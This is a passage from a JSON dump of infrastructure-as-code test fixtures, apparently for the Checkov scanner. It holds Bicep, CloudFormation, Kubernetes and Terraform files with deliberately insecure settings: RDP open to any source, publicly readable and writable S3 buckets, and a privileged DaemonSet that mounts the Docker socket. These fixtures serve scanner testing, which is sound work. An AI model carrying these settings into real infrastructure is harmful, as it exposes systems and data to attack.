    addressPrefix: '10.0.0.0/24'\n        }\n      }\n      {\n        name: subnet2Name\n        properties: {\n          addressPrefix: '10.0.1.0/24'\n          networkSecurityGroup: {\n            id: nsg2.id\n          }\n        }\n      }\n    ]\n  }\n}\n\n// This will be your Primary NIC\nresource nic1 'Microsoft.Network/networkInterfaces@2020-06-01' = {\n  name: nic1Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet1Name)\n          }\n          privateIPAllocationMethod: 'Dynamic'\n          publicIPAddress: {\n            id: pip.id\n          }\n        }\n      }\n    ]\n    networkSecurityGroup: {\n      id: nsg.id\n    }\n  }\n}\n\n// This will be your Secondary NIC\nresource nic2 'Microsoft.Network/networkInterfaces@2020-06-01' = {\n  name: nic2Name\n  location: location\n  properties: {\n    ipConfigurations: [\n      {\n        name: 'ipconfig1'\n        properties: {\n          subnet: {\n            id: resourceId('Microsoft.Network/virtualNetworks/subnets', vnet.name, subnet2Name)\n          }\n          privateIPAllocationMethod: 'Dynamic'\n        }\n      }\n    ]\n  }\n}\n\n// Public IP for your Primary NIC\nresource pip 'Microsoft.Network/publicIPAddresses@2020-06-01' = {\n  name: publicIPAddressName\n  location: location\n  properties: {\n    publicIPAllocationMethod: 'Dynamic'\n  }\n}\n\n// Network Security Group (NSG) for your Primary NIC\nresource nsg 'Microsoft.Network/networkSecurityGroups@2020-06-01' = {\n  name: networkSecurityGroupName\n  location: location\n  properties: {\n    securityRules: [\n      {\n        name: 'default-allow-rdp'\n        properties: {\n          priority: 1000\n          sourceAddressPrefix: '*'\n          protocol: 'Tcp'\n          destinationPortRange: '3389'\n          access: 'Allow'\n          direction: 'Inbound'\n          sourcePortRange: '*'\n          destinationAddressPrefix: '*'\n        }\n      }\n    ]\n  }\n}\n"
  },
  {
    "path": "tests/common/runner_registry/example_empty_tf/example_empty_file.tf",
    "content": ""
  },
  {
    "path": "tests/common/runner_registry/example_empty_yaml/example_empty_file.yaml",
    "content": ""
  },
  {
    "path": "tests/common/runner_registry/example_multi_iac/cfn/ExampleS3.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nResources:\n  S3Bucket:\n    Type: AWS::S3::Bucket\n    Properties:\n      AccessControl: PublicRead\n      ServerSideEncryptionRule:\n        ServerSideEncryptionByDefault:\n          KMSMasterKeyID: String\n          SSEAlgorithm: String\n      WebsiteConfiguration:\n        IndexDocument: index.html\n        ErrorDocument: error.html\n    DeletionPolicy: Retain\n  S3Bucket2:\n    Type: AWS::S3::Bucket\n    Properties:\n      AccessControl: PublicReadWrite\n      VersioningConfiguration:\n        Status: Enabled\n      ServerSideEncryptionRule:\n        ServerSideEncryptionByDefault:\n          SSEAlgorithm: AWS256\n      LoggingConfiguration:\n        DestinationBucketName: String\n        LogFilePrefix: String\n      WebsiteConfiguration:\n        IndexDocument: index.html\n        ErrorDocument: error.html\n    DeletionPolicy: Retain\n  S3Bucket3:\n    Type: AWS::S3::Bucket\n    Properties:\n      AccessControl: Private\n      VersioningConfiguration:\n        Status: Suspended\n      LoggingConfiguration:\n        DestinationBucketName: \"String\"\n        LogFilePrefix: \"String\"\n      WebsiteConfiguration:\n        IndexDocument: index.html\n        ErrorDocument: error.html\n    DeletionPolicy: Retain\n  BucketPolicy:\n    Type: AWS::S3::BucketPolicy\n    Properties:\n      PolicyDocument:\n        Id: MyPolicy\n        Version: 2012-10-17\n        Statement:\n          - Sid: PublicReadForGetBucketObjects\n            Effect: Allow\n            Principal: '*'\n            Action: 's3:GetObject'\n            Resource: !Join\n              - ''\n              - - 'arn:aws:s3:::'\n                - !Ref S3Bucket\n                - /*\n      Bucket: !Ref S3Bucket\nOutputs:\n  WebsiteURL:\n    Value: !GetAtt\n      - S3Bucket\n      - WebsiteURL\n    Description: URL for website hosted on S3\n  S3BucketSecureURL:\n    Value: !Join\n      - ''\n      - - 'https://'\n        - !GetAtt\n          - S3Bucket\n          - DomainName\n    Description: Name of S3 bucket to hold website content"
  },
  {
    "path": "tests/common/runner_registry/example_multi_iac/k8/nginx-statefulset-FAILED.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: nginx\n  labels:\n    app: nginx\nspec:\n  ports:\n  - port: 80\n    name: web\n  clusterIP: None\n  selector:\n    app: nginx\n---\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: web\nspec:\n  selector:\n    matchLabels:\n      app: nginx # has to match .spec.template.metadata.labels\n  serviceName: \"nginx\"\n  replicas: 3 # by default is 1\n  template:\n    metadata:\n      labels:\n        app: nginx # has to match .spec.selector.matchLabels\n    spec:\n      terminationGracePeriodSeconds: 10\n      containers:\n      - name: nginx\n        image: k8s.gcr.io/nginx-slim:0.8\n        ports:\n        - containerPort: 80\n          name: web\n        volumeMounts:\n        - name: www\n          mountPath: /usr/share/nginx/html\n  volumeClaimTemplates:\n  - metadata:\n      name: www\n    spec:\n      accessModes: [ \"ReadWriteOnce\" ]\n      storageClassName: \"my-storage-class\"\n      resources:\n        requests:\n          storage: 1Gi\n"
  },
  {
    "path": "tests/common/runner_registry/example_multi_iac/k8/scope-PASSED.yaml",
    "content": "apiVersion: v1\nkind: List\nitems:\n  - apiVersion: v1\n    kind: Namespace\n    metadata:\n      name: weave\n      annotations:\n        cloud.weave.works/version: v1.0.0-269-gffdc830\n  - apiVersion: v1\n    kind: ServiceAccount\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n      namespace: weave\n  - apiVersion: rbac.authorization.k8s.io/v1\n    kind: ClusterRole\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n    rules:\n      - apiGroups:\n          - ''\n        resources:\n          - pods\n        verbs:\n          - get\n          - list\n          - watch\n          - delete\n      - apiGroups:\n          - ''\n        resources:\n          - pods/log\n          - services\n          - nodes\n          - namespaces\n          - persistentvolumes\n          - persistentvolumeclaims\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - apps\n        resources:\n          - deployments\n          - daemonsets\n          - statefulsets\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - batch\n        resources:\n          - cronjobs\n          - jobs\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - extensions\n        resources:\n          - deployments\n          - daemonsets\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - apps\n        resources:\n          - deployments/scale\n        verbs:\n          - get\n          - update\n      - apiGroups:\n          - extensions\n        resources:\n          - deployments/scale\n        verbs:\n          - get\n          - update\n      - apiGroups:\n          - storage.k8s.io\n        resources:\n          - storageclasses\n        verbs:\n          - get\n          - list\n          - watch\n      - apiGroups:\n          - volumesnapshot.external-storage.k8s.io\n        resources:\n          - volumesnapshots\n          - volumesnapshotdatas\n        verbs:\n          - list\n          - watch\n  - apiVersion: rbac.authorization.k8s.io/v1\n    kind: ClusterRoleBinding\n    metadata:\n      name: weave-scope\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope\n    roleRef:\n      kind: ClusterRole\n      name: weave-scope\n      apiGroup: rbac.authorization.k8s.io\n    subjects:\n      - kind: ServiceAccount\n        name: weave-scope\n        namespace: weave\n  - apiVersion: apps/v1\n    kind: Deployment\n    metadata:\n      name: weave-scope-app\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n      namespace: weave\n    spec:\n      replicas: 1\n      revisionHistoryLimit: 2\n      selector:\n        matchLabels:\n          name: weave-scope-app\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: app\n      template:\n        metadata:\n          labels:\n            name: weave-scope-app\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: app\n        spec:\n          containers:\n            - name: app\n              args:\n                - '--mode=app'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              ports:\n                - containerPort: 4040\n                  protocol: TCP\n  - apiVersion: v1\n    kind: Service\n    metadata:\n      name: weave-scope-app\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n      namespace: weave\n    spec:\n      ports:\n        - name: app\n          port: 80\n          protocol: TCP\n          targetPort: 4040\n      selector:\n        name: weave-scope-app\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: app\n  - apiVersion: apps/v1\n    kind: Deployment\n    metadata:\n      name: weave-scope-cluster-agent\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-cluster-agent\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: cluster-agent\n      namespace: weave\n    spec:\n      replicas: 1\n      revisionHistoryLimit: 2\n      selector:\n        matchLabels:\n          name: weave-scope-cluster-agent\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: cluster-agent\n      template:\n        metadata:\n          labels:\n            name: weave-scope-cluster-agent\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: cluster-agent\n        spec:\n          containers:\n            - name: scope-cluster-agent\n              args:\n                - '--mode=probe'\n                - '--probe-only'\n                - '--probe.kubernetes.role=cluster'\n                - '--probe.http.listen=:4041'\n                - '--probe.publish.interval=4500ms'\n                - '--probe.spy.interval=2s'\n                - 'weave-scope-app.weave.svc.cluster.local:80'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              ports:\n                - containerPort: 4041\n                  protocol: TCP\n              resources:\n                requests:\n                  cpu: 25m\n                  memory: 80Mi\n          serviceAccountName: weave-scope\n  - apiVersion: apps/v1\n    kind: DaemonSet\n    metadata:\n      name: weave-scope-agent\n      annotations:\n        cloud.weave.works/launcher-info: |-\n          {\n            \"original-request\": {\n              \"url\": \"/k8s/scope.yaml?k8s-version=Q2xpZW50IFZlcnNpb246IHZlcnNpb24uSW5mb3tNYWpvcjoiMSIsIE1pbm9yOiIxNiIsIEdpdFZlcnNpb246InYxLjE2LjIiLCBHaXRDb21taXQ6ImM5N2ZlNTAzNmVmM2RmMjk2N2QwODY3MTFlNmMwYzQwNTk0MWUxNGIiLCBHaXRUcmVlU3RhdGU6ImNsZWFuIiwgQnVpbGREYXRlOiIyMDE5LTEwLTE1VDE5OjE4OjIzWiIsIEdvVmVyc2lvbjoiZ28xLjEyLjEwIiwgQ29tcGlsZXI6ImdjIiwgUGxhdGZvcm06ImRhcndpbi9hbWQ2NCJ9ClNlcnZlciBWZXJzaW9uOiB2ZXJzaW9uLkluZm97TWFqb3I6IjEiLCBNaW5vcjoiMTUrIiwgR2l0VmVyc2lvbjoidjEuMTUuMTEtZWtzLWFmM2NhZiIsIEdpdENvbW1pdDoiYWYzY2FmNjEzNmNkMzU1ZjQ2NzA4MzY1MWNjMTAxMGE0OTlmNTliMSIsIEdpdFRyZWVTdGF0ZToiY2xlYW4iLCBCdWlsZERhdGU6IjIwMjAtMDMtMjdUMjE6NTE6MzZaIiwgR29WZXJzaW9uOiJnbzEuMTIuMTciLCBDb21waWxlcjoiZ2MiLCBQbGF0Zm9ybToibGludXgvYW1kNjQifQo=\",\n              \"date\": \"Fri May 01 2020 17:06:54 GMT+0000 (UTC)\"\n            },\n            \"email-address\": \"support@weave.works\"\n          }\n      labels:\n        name: weave-scope-agent\n        app: weave-scope\n        weave-cloud-component: scope\n        weave-scope-component: agent\n      namespace: weave\n    spec:\n      minReadySeconds: 5\n      selector:\n        matchLabels:\n          name: weave-scope-agent\n          app: weave-scope\n          weave-cloud-component: scope\n          weave-scope-component: agent\n      template:\n        metadata:\n          labels:\n            name: weave-scope-agent\n            app: weave-scope\n            weave-cloud-component: scope\n            weave-scope-component: agent\n        spec:\n          containers:\n            - name: scope-agent\n              args:\n                - '--mode=probe'\n                - '--probe-only'\n                - '--probe.kubernetes.role=host'\n                - '--probe.publish.interval=4500ms'\n                - '--probe.spy.interval=2s'\n                - '--probe.docker.bridge=docker0'\n                - '--probe.docker=true'\n                - 'weave-scope-app.weave.svc.cluster.local:80'\n              command:\n                - /home/weave/scope\n              env: []\n              image: 'docker.io/weaveworks/scope:1.13.0'\n              imagePullPolicy: IfNotPresent\n              resources:\n                requests:\n                  cpu: 100m\n                  memory: 100Mi\n              securityContext:\n                privileged: true\n              volumeMounts:\n                - name: scope-plugins\n                  mountPath: /var/run/scope/plugins\n                - name: sys-kernel-debug\n                  mountPath: /sys/kernel/debug\n                - name: docker-socket\n                  mountPath: /var/run/docker.sock\n          dnsPolicy: ClusterFirstWithHostNet\n          hostNetwork: true\n          hostPID: true\n          tolerations:\n            - effect: NoSchedule\n              operator: Exists\n            - effect: NoExecute\n              operator: Exists\n          volumes:\n            - name: scope-plugins\n              hostPath:\n                path: /var/run/scope/plugins\n            - name: sys-kernel-debug\n              hostPath:\n                path: /sys/kernel/debug\n            - name: docker-socket\n              hostPath:\n                path: /var/run/docker.sock\n      updateStrategy:\n        type: RollingUpdate\n"
  },
  {
    "path": "tests/common/runner_registry/example_multi_iac/tf/example.tf",
    "content": "variable \"region\" {\n  default = \"us-east-1\"\n}\nvariable \"VERSIONING_ENABLED\" {}\n\nresource \"aws_s3_bucket\" \"foo-bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  force_destroy = true\n  tags = {\n    Name = \"foo-${data.aws_caller_identity.current.account_id}\"\n  }\n  versioning {\n    enabled = var.VERSIONING_ENABLED\n    mfa_delete = true\n  }\n  logging {\n    target_bucket = \"${aws_s3_bucket.log_bucket.id}\"\n    target_prefix = \"log/\"\n  }\n  server_side_encryption_configuration {\n    rule {\n      apply_server_side_encryption_by_default {\n        kms_master_key_id = \"${aws_kms_key.mykey.arn}\"\n        sse_algorithm     = \"aws:kms\"\n      }\n    }\n  }\n  acl           = \"private\"\n}\ndata \"aws_caller_identity\" \"current\" {}\n\nresource aws_rds_cluster \"rds_cluster\" {}\n\nresource aws_rds_cluster_instance \"rds_cluster_public\" {\n  cluster_identifier = \"id\"\n  instance_class = \"foo-bar\"\n  publicly_accessible = false\n}\n"
  },
  {
    "path": "tests/common/runner_registry/example_multi_iac/tf/terraform.tfvars",
    "content": "VERSIONING = true"
  },
  {
    "path": "tests/common/runner_registry/example_s3_tf/main.tf",
    "content": "resource \"aws_s3_bucket\" \"test\" {\n  bucket = \"test\"\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_module_skip_for_enrichment/mod_ref/main.tf",
    "content": "resource \"aws_s3_bucket\" \"b1\" {\n  bucket = \"bc-test-bucket-1\"\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_module_skip_for_enrichment/tf/main.tf",
    "content": "\nmodule \"m\" {\n  # checkov:skip=CKV_AWS_19: ADD REASON\n  # checkov:skip=CKV2_AWS_6: ADD REASON\n  source = \"../mod_ref\"\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_module_skip_for_enrichment/tf/tfplan.json",
    "content": "{\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.15.5\",\n    \"variables\": {\n        \"region\": {\n            \"value\": \"us-west-2\"\n        }\n    },\n    \"planned_values\": {\n        \"root_module\": {\n            \"child_modules\": [\n                {\n                    \"resources\": [\n                        {\n                            \"address\": \"module.m.aws_s3_bucket.b1\",\n                            \"mode\": \"managed\",\n                            \"type\": \"aws_s3_bucket\",\n                            \"name\": \"b1\",\n                            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\": 0,\n                            \"values\": {\n                                \"acl\": \"private\",\n                                \"bucket\": \"bc-test-bucket-1\",\n                                \"bucket_prefix\": null,\n                                \"cors_rule\": [],\n                                \"force_destroy\": false,\n                                \"grant\": [],\n                                \"lifecycle_rule\": [],\n                                \"logging\": [],\n                                \"object_lock_configuration\": [],\n                                \"policy\": null,\n                                \"replication_configuration\": [],\n                                \"server_side_encryption_configuration\": [],\n                                \"tags\": null,\n                                \"website\": []\n                            }\n                        }\n                    ],\n                    \"address\": \"module.m\"\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"module.m.aws_s3_bucket.b1\",\n            \"module_address\": \"module.m\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_s3_bucket\",\n            \"name\": \"b1\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\n                    \"create\"\n                ],\n                \"before\": null,\n                \"after\": {\n                    \"acl\": \"private\",\n                    \"bucket\": \"bc-test-bucket-1\",\n                    \"bucket_prefix\": null,\n                    \"cors_rule\": [],\n                    \"force_destroy\": false,\n                    \"grant\": [],\n                    \"lifecycle_rule\": [],\n                    \"logging\": [],\n                    \"object_lock_configuration\": [],\n                    \"policy\": null,\n                    \"replication_configuration\": [],\n                    \"server_side_encryption_configuration\": [],\n                    \"tags\": null,\n                    \"website\": []\n                },\n                \"after_unknown\": {\n                    \"acceleration_status\": true,\n                    \"arn\": true,\n                    \"bucket_domain_name\": true,\n                    \"bucket_regional_domain_name\": true,\n                    \"cors_rule\": [],\n                    \"grant\": [],\n                    \"hosted_zone_id\": true,\n                    \"id\": true,\n                    \"lifecycle_rule\": [],\n                    \"logging\": [],\n                    \"object_lock_configuration\": [],\n                    \"region\": true,\n                    \"replication_configuration\": [],\n                    \"request_payer\": true,\n                    \"server_side_encryption_configuration\": [],\n                    \"tags_all\": true,\n                    \"versioning\": true,\n                    \"website\": [],\n                    \"website_domain\": true,\n                    \"website_endpoint\": true\n                },\n                \"before_sensitive\": false,\n                \"after_sensitive\": {\n                    \"cors_rule\": [],\n                    \"grant\": [],\n                    \"lifecycle_rule\": [],\n                    \"logging\": [],\n                    \"object_lock_configuration\": [],\n                    \"replication_configuration\": [],\n                    \"server_side_encryption_configuration\": [],\n                    \"tags_all\": {},\n                    \"versioning\": [],\n                    \"website\": []\n                }\n            }\n        }\n    ],\n    \"configuration\": {\n        \"provider_config\": {\n            \"aws\": {\n                \"name\": \"aws\",\n                \"expressions\": {\n                    \"region\": {\n                        \"references\": [\n                            \"var.region\"\n                        ]\n                    }\n                }\n            }\n        },\n        \"root_module\": {\n            \"module_calls\": {\n                \"m\": {\n                    \"source\": \"../mod_ref\",\n                    \"module\": {\n                        \"resources\": [\n                            {\n                                \"address\": \"aws_s3_bucket.b1\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_s3_bucket\",\n                                \"name\": \"b1\",\n                                \"provider_config_key\": \"m:aws\",\n                                \"expressions\": {\n                                    \"bucket\": {\n                                        \"constant_value\": \"bc-test-bucket-1\"\n                                    }\n                                },\n                                \"schema_version\": 0\n                            }\n                        ]\n                    }\n                }\n            },\n            \"variables\": {\n                \"region\": {\n                    \"default\": \"us-west-2\",\n                    \"description\": \"The provider region to use\"\n                }\n            }\n        }\n    }\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/main.tf",
    "content": "resource \"aws_cloudwatch_log_group\" \"this\" {\n  # checkov:skip=CKV_AWS_158: skip it\n\n  count = var.create ? 1 : 0\n\n  name              = var.name\n  name_prefix       = var.name_prefix\n  retention_in_days = var.retention_in_days\n  kms_key_id        = var.kms_key_id\n\n  tags = var.tags\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/outputs.tf",
    "content": "output \"cloudwatch_log_group_name\" {\n  description = \"Name of Cloudwatch log group\"\n  value       = element(concat(aws_cloudwatch_log_group.this.*.name, [\"\"]), 0)\n}\n\noutput \"cloudwatch_log_group_arn\" {\n  description = \"ARN of Cloudwatch log group\"\n  value       = element(concat(aws_cloudwatch_log_group.this.*.arn, [\"\"]), 0)\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/variables.tf",
